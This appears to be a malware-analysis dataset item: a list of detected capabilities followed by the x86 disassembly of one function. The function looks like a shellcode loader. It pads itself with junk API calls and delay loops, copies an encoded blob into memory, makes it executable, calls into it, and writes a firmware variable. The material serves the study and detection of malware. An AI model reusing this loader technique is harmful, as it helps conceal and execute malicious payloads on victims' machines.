Function at 0x40cc10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40d191
mov eax, dword fs:[0]
push eax
sub esp, 0xc78
mov eax, dword [0x81a030]
xor eax, esp
mov dword [esp + 0xc70], eax
push ebx
push esi
push edi
mov eax, dword [0x81a030]
xor eax, esp
push eax
lea eax, [esp + 0xc88]
mov dword fs:[0], eax
mov eax, dword [0x2ed51a4]
cmp eax, 0x7c
jne 0x40ccc5
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
lea edx, [esp + 0x480]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x2ed51a4], 0x2d
jne 0x40ccae
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x818bf6
push 0x81c978
call fcn.0040111b
mov eax, dword [0x2ed51a4]
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor esi, esi
cmp eax, 0x8cf
jne 0x40cd0c
push 0
push 0
call edi
push 0
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x60]
push eax
push 0
lea ecx, [esp + 0x494]
push ecx
push 0
call ebx
mov eax, dword [0x2ed51a4]
cmp esi, 0x1c6
jne 0x40cd23
mov eax, dword [0x81be74]
add eax, 0xa231
mov dword [0x2ed51a4], eax
cmp eax, 0x141
jne 0x40cd3e
mov dword [0x81ca00], 0xec58acac
mov dword [0x81ca04], 0xffffffff
inc esi
cmp esi, 0xb9fa744
jl 0x40ccd3
xor ebx, ebx
xor esi, esi
jmp 0x40cd50
cmp esi, 0x562d05
jne 0x40cd64
mov edx, dword [0x81b058]
mov dword [0x2ed52d4], edx
cmp eax, 0x3c
jne 0x40cd79
push str.zoruneruxa
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov eax, dword [0x2ed51a4]
inc esi
cmp esi, 0x5f6c74
jl 0x40cd50
cmp eax, 0x110a
jne 0x40cf1c
push ebx
push ebx
mov dword [0x2ed5198], ebx
mov dword [0x2ed519c], ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.webayetisat
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x54]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.004012a9
push ebx
push ebx
call fcn.00401397
push ebx
push ebx
call fcn.004012a9
push 4
call fcn.0040161e
add esp, 0x1c
cmp eax, ebx
je 0x40cdf5
lea ecx, [esp + 0x34]
mov dword [eax], ecx
jmp 0x40cdf7
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
push 4
mov dword [esp + 0xc94], 1
call fcn.0040161e
add esp, 4
cmp eax, ebx
je 0x40ce28
lea edx, [esp + 0x1c]
mov dword [eax], edx
jmp 0x40ce2a
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.004012a9
push 0x818c1c
push 0x81c978
call fcn.0040136f
mov eax, dword [esp + 0x38]
add esp, 0x10
cmp eax, ebx
je 0x40ce9b
mov edi, dword [esp + 0x2c]
cmp eax, edi
je 0x40ce92
lea esi, [eax + 0x18]
cmp dword [esi], 0x10
jb 0x40ce77
mov eax, dword [esi - 0x14]
push eax
call fcn.0040138c
add esp, 4
mov dword [esi], 0xf
mov dword [esi - 4], ebx
mov byte [esi - 0x14], 0
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40ce66
mov eax, dword [esp + 0x28]
push eax
call fcn.0040138c
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.0040138c
mov eax, dword [esp + 0x44]
add esp, 4
cmp eax, ebx
je 0x40cefe
mov edi, dword [esp + 0x44]
cmp eax, edi
je 0x40cef5
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40ced8
mov eax, dword [esi - 0x14]
push eax
call fcn.0040138c
add esp, 4
xor ecx, ecx
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], cx
add esi, 0x1c
lea edx, [esi - 0x18]
cmp edx, edi
jne 0x40cec7
mov eax, dword [esp + 0x40]
push eax
call fcn.0040138c
add esp, 4
mov eax, dword [esp + 0x34]
push eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
call fcn.0040138c
mov eax, dword [0x2ed51a4]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov dword [0x2ed4ff0], eax
cmp dword [0x2ed51a4], ebx
jbe 0x40cf79
mov edx, 0x19b0
jmp 0x40cf40
mov eax, dword [0x2ed52d4]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov al, byte [eax + ecx]
mov esi, dword [0x2ed4ff0]
mov byte [esi + ecx], al
mov eax, dword [0x2ed51a4]
cmp eax, 0x5ab
jne 0x40cf74
mov dword [0x2ed4ff4], edx
inc ecx
cmp ecx, eax
jb 0x40cf40
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x2ed51a4]
mov eax, dword [0x2ed4ff0]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040cb60
mov ecx, dword [0x2ed4ff0]
xor eax, eax
jmp 0x40cfb0
cmp eax, 0xbd9cb
jne 0x40cfbd
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40cfb0
mov edi, dword [esp + 0x5c]
mov dword [0x2ed4ff0], ecx
xor esi, esi
lea ecx, [esp + 0x47c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp esi, 0x1a01e
jle 0x40cfef
cmp edi, 0xf5bed7
jne 0x40cff8
inc esi
cmp esi, 0x1ece7a52
jl 0x40cfd1
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x14], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2ed51a4], 0xcc1
jne 0x40d02d
push 0
push 0
push str.vumawo
push str.hicocejezemahiwiwibesede
call esi
cmp dword [0x2ed51a4], 0x7c4
mov dword [0x2ed51a0], ebx
jne 0x40d041
call edi
sub dword [esp + 0x14], 1
jne 0x40d011
mov ecx, dword [esp + 0xc88]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc70]
xor ecx, esp
call fcn.0040110c
mov esp, ebp
pop ebp
ret